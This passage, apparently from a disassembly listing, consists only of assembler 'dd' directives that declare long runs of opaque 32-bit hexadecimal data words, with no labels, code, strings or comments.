		dd 0DD650ED1h, 0AABA07A5h, 1AD54AC1h, 75F9E030h, 0E7EB0751h
		dd 0F028CF2Fh, 753BD4A0h, 6F444D00h, 472243EAh,	90AE0AB6h
		dd 1CAA8EDBh, 4C8807A8h, 84B99219h, 0FB4A97C0h,	1899B61Ch
		dd 8C39E600h, 786E94h, 730E69E4h, 0FFDB04Eh, 4C6A5400h
		dd 96AA8140h, 0E8420008h, 9DD4AF4Dh, 600F3731h,	4086468Dh
		dd 1666C28Bh, 14674869h, 750C0303h, 51A8A4A7h, 93190192h
		dd 0B01EFFC8h, 4DCE7D5h, 7590076h, 0B29EFC06h, 0D0FB1B8h
		dd 0C01C4AD0h, 0C71A0F3Eh, 87FD5070h, 0A6BD1E77h, 7CAC002h
		dd 0A8F96DE6h, 582D2CFEh, 31E9829Eh, 37C803Ah, 388F2Eh
		dd 513D5897h, 655A74AAh, 79EE7850h, 8D4C3E1Eh, 0D1F049C0h
		dd 0F8F3ED6Ah, 476002D5h, 793C0C9Bh, 2B890A75h,	2B1FB900h
		dd 17E3B313h
		dd 407695A5h, 5A38BBACh, 0C726D854h, 0A05D8A8h,	94C03E3Ah
		dd 0B279E8h, 0C62245C0h, 7DBA4B0Fh, 9348A2FAh, 8BBB03C1h
		dd 8E454E85h, 11070A0h,	123FBE78h, 60B723C3h, 4F0F9DDCh
		dd 4017E5CFh, 63023703h, 0DFF002F7h, 62D63B2Bh,	8C480C42h
		dd 0E0591112h, 554900F8h, 0FABCD92Fh, 0B065732Bh, 8F6C2CACh
		dd 0EEC40060h, 4207541Ch, 1E127400h, 84137CB2h,	0D58B007Ah
		dd 89AE2D0Ch, 5801703Ah, 5B20DCA6h, 30C01D12h, 0B32B090Bh
		dd 98004AA0h, 54961067h, 0D154EE7Bh, 0A600438Ch, 0EA6BCF56h
		dd 0D3A5A2h, 0F140615Eh, 943364A4h, 54DCA32Ch, 26C0FD9Fh
		dd 0D92BE54Ah, 29F37482h, 4084BB32h, 30F9B047h,	0CF7468F4h
		dd 84696300h, 7EC9940Ah, 5C54002Ch, 33471376h, 4400B524h
		dd 74A12B22h, 653AB4h, 43721BC6h, 1F3341C1h, 6459BF00h
		dd 74AE55E2h, 71630E35h, 0A9A021FAh, 0D190C3EDh, 4A3E3117h
		dd 2056A04Eh, 0D8647CB6h, 65780E0Ah, 578C19F0h,	0EE001B21h
		dd 0A7672DACh, 0EC91DEDFh, 28B70681h, 50CA4FBCh, 833D7C21h
		dd 435FA7ABh, 0F2284844h, 7FF68CA8h, 7480A900h,	4055364Fh
		dd 8FB2007Eh, 0F02F5E57h, 0D30E5C53h, 8113825Ah, 0A57B328Dh
		dd 0A839C053h, 36C5642h, 93D06952h, 26A1C322h, 9F208047h
		dd 0E090F9C8h, 83F200D9h, 224BEBFCh, 6DF4D4BCh,	6149F05Ch
		dd 8C2FC4A9h, 8B48458h,	0E86752B5h, 94129C4h, 0C89AA7ACh
		dd 94007498h, 0CDE267B2h, 0FC6C24DFh, 178E0023h, 8C5C576Ah
		dd 400334Fh, 2E4DC9EAh,	0F85802CBh, 607A293Dh, 0DC630368h
		dd 0C84465ADh, 59881868h, 0DF4200EBh, 0D9B4AFA4h, 10FF226h
		dd 3C618DBh, 0ED6738h, 72CB77Ch, 50881989h, 8CE84F09h
		dd 0A7FA800Fh, 74AEB1ECh, 0DE290070h, 682418DAh, 411C0A2Fh
		dd 0F80DDD2h, 0EBB069CDh, 0BE173FECh, 491D3A00h, 0E4D1FD24h
		dd 0F420BB00h, 6EBCA370h, 0B50500DEh, 8432A547h, 6C07F855h
		dd 0F90386BFh, 0D0B0DAC3h, 0B0CF956Dh, 0AE091F4Fh, 0F0BF0131h
		dd 406FA3E8h, 1E3096A2h, 0C26D3Bh, 0B92CF2DCh, 397DAA76h
		dd 0AE81B81Ah, 34F0684Ah, 0CD8B604Ch, 0E7D44700h, 59459EC9h
		dd 0E38B01A8h, 0EEC7B532h, 4C6BF4FFh, 670D3400h, 4FD37085h
		dd 769A007Dh, 0B4F11F62h, 0B7001D47h, 457837B1h, 0CD3FBCh
		dd 34951B8Ch, 330475F9h, 0C65A5800h, 0E8EF1529h, 3B5E060h
		dd 45B35FC3h, 7000A73Ch, 0D46DAD93h, 0CCF10A9h,	6F83BBE0h
		dd 5F00A08Eh, 167773F3h, 0D6B7D3h, 79D9DBE5h, 38DC53D7h
		dd 0AAA7C200h, 5BF5312Fh, 4C98E863h, 0A840F003h, 46591537h
		dd 8B099805h, 428085B3h, 1F4DF24Ch, 0E8001C7Ch,	0DF3ACB8Eh
		dd 724280C7h, 0C09471B2h, 0B3B67B50h, 4D007969h, 4CACD198h
		dd 0FA8A033h, 35D4050Ah, 0C0ADC5A4h, 0AF362415h, 313721C7h
		dd 0E472000h, 7EB900FDh, 0F4CCAD6Fh, 2800983Ah,	1DB41AD1h
		dd 620351h, 230FC55Fh, 8D113286h, 0E2015AF0h, 20886B48h
		dd 6DD0A041h, 7ED72C5h,	0F75F0289h, 0FA90E0F1h,	6B809379h
		dd 94ED00DDh, 269291ACh, 0CB1DCE76h, 0ABC04CD9h, 9D522B5Ch
		dd 0EA4D295Eh, 2341C64h, 0C20A21DEh, 9110FC19h,	0FA017F79h
		dd 0CDA8B97Dh, 0B9817511h, 820A1664h, 0EF60FA4Dh, 0AE00E3C4h
		dd 0ED98F571h, 54B74h, 0BD1233E6h, 3B8084FCh, 0DA36D877h
		dd 761E05Ch, 312B6F88h,	0FDDAA8Fh, 4FA580D9h, 689286A5h
		dd 0A7AD6E00h, 0A0F27A2Fh, 7C9F78AAh, 0FE90A014h, 0AC02867Eh
		dd 0DA83A6EDh, 0CE0F195Eh, 0EDFE0E00h, 0B82C00A1h, 9487C245h
		dd 8D00A43Bh, 3F06E7Eh,	9D1012h, 1AC40E74h, 6C519557h
		dd 0C8F3327Fh, 0A701BA31h, 2350F606h, 0CF707A81h, 9F850099h
		dd 63A96A36h, 0C3778F30h, 76BABB00h, 0F7BC7C5Fh, 0EA4E380Bh
		dd 8441278Eh, 506BF0C0h, 0FB00CCC4h, 0D4266416h, 0BBFE82h
		dd 511997Ch, 0F67E6E71h, 35571B00h, 62B68DD9h, 38678B4h
		dd 20E4FFE7h, 4800F2A0h, 6A7E63EFh, 2281CCh, 9F5D4B4Ah
		dd 875223A7h, 99078975h, 0F793AC0Eh, 0A60CE7D0h, 0D8CC13C5h
		dd 80A71FC8h, 8192BD0h,	0E90E412Eh, 9E34BFEEh, 37C54D40h
		dd 7786093h, 203B31EDh,	0E16A8113h, 508BDC27h, 0D8489E00h
		dd 44747590h, 0DB6B38A8h, 8C6CBC83h, 10007C55h,	3760188Ah
		dd 0E361DDh, 0E5C48BE0h, 74C80EA2h, 0EBA9860Fh,	31082333h
		dd 0DED7B05Bh, 806B07C5h, 476F3BBCh, 7781DE22h,	80E8E2A0h
		dd 64DC5D40h, 1FF3CCh, 0F5202A03h, 0C8EA8468h, 0DE6B760Fh
		dd 69BAA051h, 17B0B8h, 70DA6A2Eh, 8A53A88Bh, 1E004690h
		dd 0EFB39138h, 33CFA5h,	0C09D4CB8h, 0C95DD212h,	68D1BF30h
		dd 345CF8h, 8F7AE3CFh, 232DF918h, 2FE47303h, 0D84178DAh
		dd 1E5EF0Bh, 8D2B5A93h,	70CA7CF4h, 5F00BE95h, 4F4B33D4h
		dd 19412947h, 58E938B0h, 0F82AF8B8h, 0C7B71100h, 1E599CB6h
		dd 0D2131E30h, 5BA103D3h, 0F109DC27h, 81F624BDh, 3FC8E3F1h
		dd 0F06F0D0h, 0D9CD61DFh, 0CE031587h, 366A5878h, 4E25C700h
		dd 22168746h, 18B4005Bh, 0E3DE1BC4h, 0F0F7D975h, 937B0C8Ah
		dd 0C7070474h, 87FAF773h, 8D9001F7h, 18DD1BCBh,	6472DA19h
		dd 8F00EFBCh, 0BD53F6B1h, 30F8924Bh, 1EE11226h,	5A07C2E4h
		dd 6BC7D3CDh, 0C839AD21h, 0A9E5FBC4h, 0B5FC41D8h, 25340DC4h
		dd 40D88C79h, 33D12410h, 0E756DD0Ah, 1200804Bh,	5E589AE5h
		dd 7F321493h, 0BB1D846Bh, 1EF126Ch, 9053C934h, 3D59805Eh
		dd 2533D6ABh, 0C378220Dh, 0E60E30EAh, 0B0BB56DCh, 0E344BC9Ch
		dd 14086742h, 8F0A7C24h, 0D51258E8h, 31582918h,	0B431847Bh
		dd 0D7CFB1C6h, 1058D046h, 107A3E2Eh, 0EC820C37h, 0CB027D16h
		dd 99A910D1h, 8F6500F3h, 3E488C4h, 0C3B0E567h, 0B2042C3Ah
		dd 9B047039h, 7BF42115h, 412704C6h, 37A784B8h, 0C016AC53h
		dd 3831F240h, 113E5118h, 0F112BC00h, 3796E15Fh,	0B63B80C0h
		dd 0A346A880h, 4BA09794h, 0C030BEF0h, 0A54D8681h, 6A288CBBh
		dd 0F708BC90h, 28817Ch,	2C9FAC2Dh, 170F100Eh, 80A0D0D1h
		dd 6D4FF8ABh, 6BA4003Ch, 0CF16C70Dh, 0C2004450h, 9FC430D6h
		dd 0FF131E7h, 0F012CE8Ah, 0F7713B6Ch, 654CFF01h, 5C9F0DAEh
		dd 0B2605021h, 0D7510021h, 0CD15A733h, 14009A5Fh, 0DCCA71EFh
		dd 6FC8EB05h, 0C71DF98Fh, 609811C5h, 1A4BC037h,	4DE2A10Ch
		dd 2DE219Bh, 4F7918FAh,	0EB40E441h, 4E193AA8h, 556034C5h
		dd 1811B855h, 0B61D0AACh, 0DF029895h, 63B416E1h, 6EAB884h
		dd 8FC00F58h, 0D4EA71B3h, 0DCA840ACh, 2605330h,	4EA6BDD9h
		dd 1917566h, 54D17871h,	801D75B8h, 4C0ED621h, 666597h
		dd 0E2EB6C01h, 0C9A8E168h, 7B18434Dh, 2630B803h, 7C755C93h
		dd 0C5121808h, 0FCC4B15Ah, 8E9F2C00h, 0A746F844h, 490A0F65h
		dd 0A8EE0656h, 0EC2F0C40h, 81364D3h, 9B0068B7h,	91E2A241h
		dd 6616006Eh, 0A7E1D863h, 89006FD9h, 9A43DA4Eh,	2F3E48h
		dd 990BFE2Ch, 4F3FCE23h, 6EC0879h, 0E4031CE0h, 2FBDED3Dh
		dd 309CD8B4h, 5EC60021h, 2919CA38h, 0AA0010DCh,	92E40EEAh
		dd 5A4CFBh, 0C2832D6Fh,	0EE61165Ch, 0D613A800h,	0F5F10AEBh
		dd 0B7C90120h, 3CA6E5F9h, 7ECFF842h, 19947900h,	1192A35Ch
		dd 0F83B03B6h, 0E19A85B2h, 4EDD0FC8h, 0DBFCA607h, 0FE70CBC7h
		dd 4CAA7E4h, 8DB7CEF3h,	10B28094h, 0E71D14DFh, 0E007E3FBh
		dd 0F4D09FBAh, 7E648FEh, 0EED57CC4h, 90397660h,	718A1000h
		dd 4B11DAF2h, 499C0D7h
		dd 0D87931B2h, 3B29A300h, 8044E4E7h, 3D9700D9h,	9FBBADD3h
		dd 1801F0F9h, 0E6BDE5E1h, 8880C193h, 7D2CF81Eh,	0F3485A8Fh
		dd 188C401Fh, 0B630E600h, 0AD616E03h, 80D4672Fh, 4D80F0BAh
		dd 0EF781240h, 6400DE7Ah, 4B590897h, 0FB3AD8h, 0B0A27CC2h
		dd 53E8D3EBh, 77DE8600h, 0CFA39DAEh, 0A66F0D22h, 0FC692D01h
		dd 0AF008E95h, 538C1B77h, 73A58281h, 4E8D0088h,	0E8E93F5Ah
		dd 0A033AF8h, 97FD01A9h, 0A5878825h, 9578006Dh,	88526CD6h
		dd 4D1F1AA7h, 0F919A9E8h, 0E3F0A542h, 0F5370028h, 0F3311809h
		dd 0B2007FA4h, 0F92DAA6Fh, 3B4663h, 0B8E443A9h,	0CFBBCBB5h
		dd 0C8B72400h, 5A8A7B41h, 8848C083h, 0B5C31B93h, 7F250503h
		dd 0D07E8CB0h, 50F3277Ah, 57AEEEh, 0C63FC0E8h, 3842C1F1h
		dd 5918B660h, 0CE22EDh,	0D382F83Dh, 0A16A66B8h,	0A4CB1D0Fh
		dd 3CC40E3Ch, 11D78D00h, 0E2F5089h, 24F41FAEh, 0DA91840h
		dd 0F1022184h, 0E9C9467h, 2C9483C6h, 4113A0C3h,	3BFE0B6h
		dd 0F086A431h, 0A0EF336Eh, 9F1E39F1h, 3A1DEC00h, 0CFBE3BC6h
		dd 364230A9h, 9E590721h, 0AD449800h, 0B83387Bh,	298C009Bh
		dd 33BBBD0Dh, 3218CF58h, 4830AFD3h, 1908C0B2h, 151169AEh
		dd 83F7ED3Fh, 39FEA410h, 0E852E06Ch, 8FB00BAh, 0C18F723Dh
		dd 96F01937h, 0D5009A75h, 0C073BCEDh, 0E8D75042h, 321C3DEh
		dd 0D58838CBh, 0C600B6F3h, 144BA68Fh, 3F259DE9h, 28EF4099h
		dd 5CB780DCh, 0F45B3BB2h, 0AF00D1F0h, 0ADFCD76Ch, 3ADCC68Bh
		dd 0F8186A2Ch, 0BC182083h, 73F36F07h, 0AC709F94h, 1CB68h
		dd 0C34453EAh, 3AC47275h, 0C9413700h, 54B26A71h, 1396003Fh
		dd 5E31A4A9h, 0BBFC2B0Bh, 5900077Fh, 0C75C2547h, 729604Ch
		dd 0E36F5D09h, 80553587h, 8DB3FA04h, 4C324400h,	46B5F88Bh
		dd 7A7500E7h, 0CEE85A7Fh, 0A23C986Ch, 38AA802Eh, 4582CCACh
		dd 3D3DB8E9h, 0AB87EB1Bh, 0FB47DF65h, 43F1D01h,	5DC0F337h
		dd 8FF12FF7h, 58FBAE09h, 0D3C520h, 0EBDDE08Ah, 0F26775C6h
		dd 53078FE4h, 0CCB888D4h, 0C54AD340h, 1452CADh,	24020F50h
		dd 84A9F7C0h, 7A0091AEh, 0A7B97506h, 1D7C77F5h,	0C06A324Fh
		dd 29CEC3DAh, 0D000DC7Fh, 702E164h, 2D69F44h, 0E5554B69h
		dd 60D5D10Bh, 3A0A1708h, 37800EBBh, 57310F2Dh, 4FEA79B1h
		dd 26DBC300h, 65638C75h, 0C44A0061h, 1FBE6B36h,	5AECEE5Bh
		dd 2654DC00h, 3E837F0Bh, 0E6EC00E5h, 0A94E2308h, 96004AC3h
		dd 0CDCA9974h, 2663E4h,	9F90B5D8h, 0CB39113h, 8058D41Eh
		dd 364603C0h, 4CD1F7h, 0CFCDB820h, 60E299F9h, 77D05800h
		dd 0BF3501D8h, 0E603011Ch, 5DBC1471h, 37E547D2h, 70F6C0AFh
		dd 103BA20h, 0CC42C47Bh, 0EE07B0ADh, 9AA30035h,	43555A67h
		dd 9D008738h, 24B93ABCh, 0A6C737h, 0CDAD8375h, 0F4D2A559h
		dd 0D6802900h, 0B4082E6Bh, 700A003Bh, 822B68C8h, 9005D312h
		dd 23565480h, 0DCEE700h, 73C3D1h, 2DAE77Ah, 8E3DA593h
		dd 7B7737FAh, 0FFB72D00h, 41730983h, 705700F8h,	0DEF1D0A8h
		dd 8100C026h, 1A9BC62Eh, 0F77168Fh, 0CCE0FAEEh,	0AEA729A0h
		dd 5100B20Ah, 723A54D9h, 0B8AAF6h, 321D9D0Eh, 3F248E77h
		dd 7E5E301h, 0C2F09A3h,	6EDBBCCh, 0B78364B4h, 79003C2Eh
		dd 26A6C043h, 0F0502C8Fh, 328E00A5h, 0FC231D1Fh, 0D8016430h
		dd 0E1920373h, 14C8955Fh, 62900078h, 0EEF94D0Ch, 8702C9E2h
		dd 0D5C50119h, 4F62400Bh, 7C030275h, 44096BF7h,	0F063C3F7h
		dd 9858F22Eh, 852F02D8h, 57EEECE0h, 37428C60h, 30231500h
		dd 60BE78EFh, 51270036h, 0C8F8F2B4h, 5A0031F5h,	756CBA0Dh
		dd 380B70h, 63FF4E9Bh, 0C61B56D3h, 7A5C9C00h, 666018EAh
		dd 0C3F90049h, 84255496h, 0C1DB110h, 873C2EA1h,	16A0D593h
		dd 701D03C9h, 0E71FE886h, 9AFCF8h, 0E0B0A38Fh, 1A5F92D5h
		dd 2D07127Bh, 6613A2FAh, 0CF9CB480h, 0FE7E003Eh, 161BF3B9h
		dd 18005ABFh, 45326434h, 175952Ch, 5889A479h, 6040EFC7h
		dd 247E41C7h, 0F5C9EB00h, 4849C036h, 51790EE9h,	728246h
		dd 0BB0CBFCCh, 0E47492E5h, 0A4F6C403h, 993E36FCh, 226CD29Bh
		dd 9A446507h, 0DCD9829Eh, 0D0F9F640h, 61A2B300h, 0B810DE5Ch
		dd 58290011h, 0D29CDCF6h, 56001F76h, 41EAB1CBh,	3EFB27F7h
		dd 8E022B6Fh, 0F0D98F6h, 0ECAB0860h, 9E620700h,	0E5531A06h
		dd 0DA520012h, 0C1363ADDh, 4C00C935h, 0B7F531A8h, 1D3B8FB6h
		dd 0C796C25Ah, 0B0547774h, 77CB537h, 83009AF0h,	13C67186h
		dd 0F497D89Bh, 9FCC0050h, 0D1A6CAE2h, 1A2E2E30h, 7D0FAE59h
		dd 0DEEBA309h, 71C0D55Eh, 6A0647h, 0DAAA606Eh, 595AA3B1h
		dd 3DC98C00h, 380D12ADh, 8464001Ah, 0AC885BD1h,	0C7FECD6Ch
		dd 86942D00h, 79208B72h, 0D12C0B18h, 818004A4h,	3F531EC1h
		dd 99DA0100h, 0E389CFF6h, 0EE110003h, 4FE00246h, 5D00177Bh
		dd 61954E94h, 25784CF0h, 16E09F0Fh, 0C0011E8h, 149426DDh
		dd 77A00B8Eh, 7BF262h, 9518FAB4h, 0B98FB3C8h, 0AC4E924h
		dd 0C1EAFF00h, 4A85B8h,	0D8B2D5CCh, 0D65DDDAEh,	9262A00h
		dd 0AFC964D7h, 990D0BDAh, 970072F9h, 0A43315B1h, 3107F878h
		dd 0FEE3323Bh, 0B95B821h, 6F8030h, 0C94C69Bh, 6932846Ch
		dd 9E00FC9Ah, 4781A34h,	1CBD86A5h, 806316B8h, 9B93858Dh
		dd 8400CE1Bh, 57A54DF9h, 0B0F3D7D0h, 0A9010350h, 0E62D24Fh
		dd 274AA2B8h, 0B6707B00h, 9F0364EEh, 57BC0041h,	0C098AB83h
		dd 0F6006096h, 0C8DC1801h, 0C7615Ah, 0E6736AC3h, 0B48E7224h
		dd 8D0C6F00h, 33D2DCAEh, 0EC4A00EBh, 429FD7C3h,	9B00F8A9h
		dd 4F130280h, 1C55FC65h, 3050BAACh, 7637DF7Ch, 0A2457F00h
		dd 8067EF75h, 344702BCh, 20538562h, 8401FB60h, 0C5A9EA00h
		dd 0E197D170h, 4C9E6024h, 68E78F8h, 0A369B700h,	405C8D6Fh
		dd 8D2D4C8Bh, 0A2C0A502h, 60D77C6Bh, 1261CAD3h,	9E824E7h
		dd 3F7BC50h, 80161E3Eh,	1787358Ch, 174688h, 0CA3F043Dh
		dd 9F1FC225h, 3E245091h, 6007B012h, 8088D827h, 8D0B25B2h
		dd 24050CF7h, 0D154116Fh, 0EEF664C0h, 94FA97h, 0E8ACBD8Bh
		dd 1F13F066h, 5E3A7500h, 293BBE0h, 961107D1h, 703822C9h
		dd 5DD45214h, 4F981801h, 0BEE1E29Eh, 0AF0A9E1h,	0B1EA3E82h
		dd 6E0CCB07h, 8763202Bh, 3B0077FEh, 158AB526h, 18AD38h
		dd 0C130F456h, 0A8E48659h, 4842E100h, 9DC263C4h, 754B85Eh
		dd 3923D7EEh, 4B3E1093h, 0BFEEC522h, 0CCA27A01h, 94F53316h
		dd 12C94960h, 0E4A7505h, 3D6063ACh, 0D586C3A3h,	0C800C776h
		dd 0FD1FEC02h, 1792B4AEh, 14ADD01h, 2C2D3080h, 0CC37ECB2h
		dd 0A6074B00h, 69D26472h, 5D15FE65h, 0DE009C2Ah, 485C5573h
		dd 0AE3AB3CEh, 5AF7035Eh, 0C13CF845h, 0B9E3C516h, 0B8E0B48Ah
		dd 60CD0081h, 0C35D829Ch, 79039305h, 2A73C1BFh,	0CEE10EE4h
		dd 0C3E02EDCh, 673E59C7h, 0AFAE4B0Bh, 48D4A04Ch, 0C372EC9h
		dd 19829DACh, 0C200EC88h, 0ADF78993h, 36C68Ah, 0A5FA340Eh
		dd 0C9078DE6h, 539E8800h, 0D9447A48h, 0B5CC07BAh, 0D37271F6h
		dd 0B1D01B08h, 103B90ABh, 5DC900E1h, 0DF748C19h, 72061D48h
		dd 78FB021Bh, 5DC04B8Ah, 5E4A8C2h, 0D416340Fh, 5297E076h
		dd 0D8DF8Dh, 0C48ECDBBh, 0CF463015h, 7FE3EE00h,	968CD3B4h
		dd 0FCCE0041h, 0C3C1E20Ah, 297B737Eh, 300731F2h, 1E84152Ah
		dd 3E9CEEC0h, 4A90023h,	318B1F7Ch, 0F33D7285h, 0B410026h
		dd 3623A0E4h, 88710058h
		dd 0AAC87A93h, 0A90FB1B3h, 20ED1CB0h, 16B91A02h, 0A5AF123Eh
		dd 3F8400C8h, 8260C9FFh, 625BE100h, 185F448h, 8F760061h
		dd 0B2A77F50h, 0B8A03D0Ch, 2B747555h, 0FB135900h, 3A3808E6h
		dd 1F25734Fh, 81FA850Ch, 0A97C33Fh, 3CF9EC14h, 67227B07h
		dd 65E075E4h, 0E6825D48h, 24B219h, 0B7792F1h, 0FB34256Dh
		dd 79C97A01h, 0A1B46694h, 1559C0EEh, 5FD60060h,	0C31BFDC8h
		dd 0E30222EDh, 925C01AEh, 6F00E047h, 8D683FDDh,	6700B53Ah
		dd 714378B1h, 0D560A5BAh, 0B09609E8h, 46B900DAh, 3C220667h
		dd 0EE07ED7Ah, 0F358C073h, 2366D820h, 87B539EFh, 501ABA81h
		dd 649FEBD0h, 73003CCCh, 818FC0C6h, 353AC1h, 618D1F0Bh
		dd 7ACCE952h, 9CC64E24h, 0F4DEA482h, 979C803Ch,	7CD26AA0h
		dd 5F0430B3h, 8347D320h, 8023453Eh, 0F12B6C21h,	1207A443h
		dd 4FB8792Fh, 1F23B070h, 100FBB67h, 802D3FCDh, 71F84A74h
		dd 1D2300A3h, 6FAF2195h, 0C4C04E29h, 0B4D465FFh, 63900ECh
		dd 19F6C6EAh, 0AF00BC5Ah, 1A556AC9h, 0E4513A57h, 0C4D0009h
		dd 0FEADFC50h, 0E700BB5Dh, 0F76EE022h, 3FA0740Fh, 0F8014A61h
		dd 0DC35B71Eh, 81A3E82Ch, 0BAE86403h, 3ED8A92h,	0B33E4B68h
		dd 10E6635Ah, 0CD798E26h, 0D7165100h, 0DB0E66h,	8A98156Bh
		dd 0F2D0CC1Ah, 8CC88701h, 0B455D657h, 0C00E9DD0h, 2C4B3A88h
		dd 0FB77E2CCh, 68499E00h, 0F6CEAA99h, 32430034h, 33730B6Bh
		dd 63302D0Eh, 0D0ED6825h, 0B3830059h, 0BED90AB9h, 0A9006769h
		dd 0C89B0F66h, 26C11F68h, 0B2A478h, 769234C6h, 0A300FB2Ah
		dd 4E3B51D4h, 0BF52D3Ah, 491642E9h, 925F1E80h, 513FDB9Bh
		dd 0B79580FFh, 0B3DDD107h, 462900C5h, 0A3A79344h, 230E5CD8h
		dd 408F2D92h, 294F4C0Ch, 70FE0CF5h, 0AA40E22Fh,	8D09A41Fh
		dd 20152284h, 0E57019C7h, 7FB4FC7h, 25F2F52Fh, 69B620DFh
		dd 8B03BAFFh, 665AA67Bh, 2E50908Ch, 76FC1D0Bh, 682507FDh
		dd 41E5C0CAh, 2800E646h, 0E9C23A52h, 588A4714h,	0EE7DE3ADh
		dd 4EB40045h, 0FECCA80Ah, 9B00411Dh, 0AD788AC1h, 9435DD7h
		dd 9A264A84h, 171FF582h, 2F362040h, 78E9D00h, 6A6533DBh
		dd 7A31009Ah, 4C4519D1h, 1D701A67h, 7800D9F2h, 81D0EBA9h
		dd 0B775C5h, 572ACD25h,	0C6AB11Eh, 0E401F374h, 88644E41h
		dd 0DFF161D5h, 11FC1081h, 0F8DE4065h, 0C300BCC7h, 0DA2957D1h
		dd 50F5E2h, 4FCE0F8Fh, 80D67B45h, 46C4D00h, 2497CBB4h
		dd 81780173h, 961C3210h, 0C63F30BBh, 0D88F701Eh, 0A1AD4007h
		dd 54FF3CD0h, 0FD6B1E3Dh, 8724001h, 42F6F2DBh, 300EB97Eh
		dd 0A2B37682h, 9CC7519Ch, 0C5EC1020h, 130EC320h, 5BB6E02Ah
		dd 0D2810E79h, 31004D49h, 58A33882h, 6665180Eh,	981DE710h
		dd 2554FE50h, 0E41700A4h, 0F4797228h, 8500E641h, 94716F06h
		dd 4A8FDAh, 68A24DA1h, 0CE208B97h, 0FA2C0330h, 3AAF7655h
		dd 7EB865h, 9456BAECh, 58FF35E5h, 0CCB97D00h, 0B7160D69h
		dd 25170022h, 830E9777h, 4E05A553h, 741F4510h, 182AA440h
		dd 716A54h, 0AE37D355h,	0F628FF1Eh, 3B12AA3Ah, 4788813Bh
		dd 258BFBFCh, 7DEBECh, 0CB797181h, 0EFD8C720h, 65E33301h
		dd 76282573h, 7E558058h, 345110Ch, 5AC6A034h, 76BD00F1h
		dd 89E7F6CDh, 0FD05E39Ch, 80D89D82h, 4710AC00h,	7E31B6AAh
		dd 504001Eh, 1BC2F256h,	98002A88h, 597F689Dh, 30873E71h
		dd 15E082E9h, 9E987ACAh, 14991004h, 8680B9F5h, 626FA7h
		dd 605D6C4Ch, 26D719C6h, 84208052h, 3C626513h, 0A8C945E0h
		dd 0DD88D860h, 0A32AD20h, 6F238103h, 0DBB20AD0h, 454701F9h
		dd 0C1844ECFh, 0DDBFF07Dh, 0CA97E8C0h, 3C2BB8FFh, 4F8001ACh
		dd 0A7613307h, 7E0045F3h, 0FB75C3CEh, 392D6D03h, 0C50A9D58h
		dd 0D4661Eh, 0F917A090h, 4D1FDBDAh, 5B000579h, 0E7813E15h
		dd 0F2A218AFh, 7D70688Bh, 0ECFC0F00h, 693658F0h, 4AFD005Fh
		dd 0E79AE591h, 2100827Eh, 606E0EBFh, 0C4488Ch, 3B2D5549h
		dd 122C758Ah, 0BA357D00h, 9A23D9A3h, 7656000Dh,	0E2CFE057h
		dd 0C800B31Eh, 6B195221h, 3B27CAE3h, 0A862A83Eh, 584AEF0Fh
		dd 0C3916280h, 21003F1Fh, 0B4C153C0h, 7C494BEh,	7196D3F6h
		dd 0C7AA70E8h, 8B190BFBh, 1B39AD02h, 60516CF0h,	8FB010F7h
		dd 0F403549Dh, 4C58319Fh, 0E51A0F93h, 0B2211BC3h, 0C8ED680Eh
		dd 0A998834Bh, 0BC6533Ah, 80C9E787h, 0A4969B84h, 0AA62C2Dh
		dd 3ED30477h, 0C9F1807Ah, 0BE0090B1h, 1501039Fh, 0E6413A8Ch
		dd 72DB001Ah, 0D085AD16h, 6F0751CAh, 0F2DE7833h, 0B1F07687h
		dd 609747E1h, 638040B2h, 0D307CD8Ah, 2ECEB8DDh,	51097EB0h
		dd 2414004Eh, 0F6B3536Eh, 4008AE3h, 0F8AAFAC2h,	0DBB5488h
		dd 0A99CE209h, 21F02048h, 0DC0D4E00h, 6A7E1227h, 61360044h
		dd 0C1BA89BCh, 2F006D1Ch, 538B49B8h, 18E68290h,	40A8A581h
		dd 8F0048A3h, 0C6A92EC7h, 1E8651E5h, 0C0244407h, 1B6F5C8Dh
		dd 0F967E85Dh, 0CFD03B31h, 1C7780h, 0EA5B512Eh,	0DB8B2D62h
		dd 8044E83Bh, 1AE2164Eh, 1291491h, 30BC7222h, 0D825022Eh
		dd 0A805C40Eh, 4953E323h, 6A879400h, 12367B3Eh,	7D4233h
		dd 0CE481397h, 1F0052E2h, 7B4ED6B9h, 3A83A44Dh,	8C005433h
		dd 428BDE45h, 0AF00E813h, 7F94ECBh, 71233AEh, 0A2A7DB61h
		dd 54317078h, 73000FEEh, 0D5ADDD62h, 0DBC7FEh, 0B6C044E0h
		dd 0A194C368h, 0BBDC060Ch, 0E960B5h, 47312621h,	0B4CCC8A8h
		dd 0C3F13Ah, 54349FC0h,	0EF225AEFh, 7FB5E8h, 819D62EEh
		dd 0C4586B4Ah, 0DFC5FC00h, 0A61C2A5Dh, 1FA2009Ch, 69B434ABh
		dd 4400CC42h, 90E275F6h, 30E3B9F9h, 51201D46h, 8700D53Ch
		dd 6BC6C561h, 17D7FB3Bh, 3CEC8FDh, 0ECF78D7h, 823FCA80h
		dd 73C02C1Eh, 0A9950200h, 3E629EA4h, 4938E031h,	2E14AA80h
		dd 0F3FC1F1Dh, 7DE37058h, 210C08CCh, 725E00A3h,	0A6F97DF1h
		dd 300010D1h, 88D8FCF2h, 605DDAF0h, 3F342854h, 4000DDF1h
		dd 16B8A3B4h, 0C4D11C9Dh, 3697EDE1h, 410934C0h,	0C470408Ch
		dd 1234A475h, 1B0E2400h, 0B1EE56D7h, 0CA7F52h, 0EC09F71Dh
		dd 615D3C0Ch, 2D380101h, 6BC1C0Dh, 0FC5B1C8h, 7EFD11F5h
		dd 64819B00h, 1B0043CCh, 9C291099h, 0ABBE88h, 63673646h
		dd 0B6F2FD37h, 596FB300h, 6E423B4Bh, 86813E05h,	735A0A83h
		dd 0B7A06D26h, 16001FA1h, 0BDC3A756h, 14440h, 3135AEA2h
		dd 8146F492h, 6DF05B1Ch, 0D65A76C0h, 0EEBCF44h,	0F45199B7h
		dd 8731BDA0h, 30D22EE2h, 6B0E15ACh, 66004556h, 0B45125F3h
		dd 5EA64200h, 0CED257ADh, 6E4E03ACh, 0A99121EEh, 3FC4BAE8h
		dd 941C46E0h, 33CA512Ah, 934318A7h, 3819F235h, 0DA0E2226h
		dd 8207B3B0h, 0B8417451h, 440F7634h, 98C7538Eh,	307A4006h
		dd 98B3D4C2h, 2FAE614h,	0CA5492F1h, 649693C3h, 301E8E21h
		dd 2F22C639h, 0D415137Dh, 0D84C92EDh, 0A6228470h, 567CEA1Ch
		dd 560830ABh, 86C1907Fh, 5880BEE5h, 0E2FCC61h, 5BF0C13Ah
		dd 65249CA7h, 66813421h, 0AE2FDA58h, 46C2684Ah,	0F0881C37h
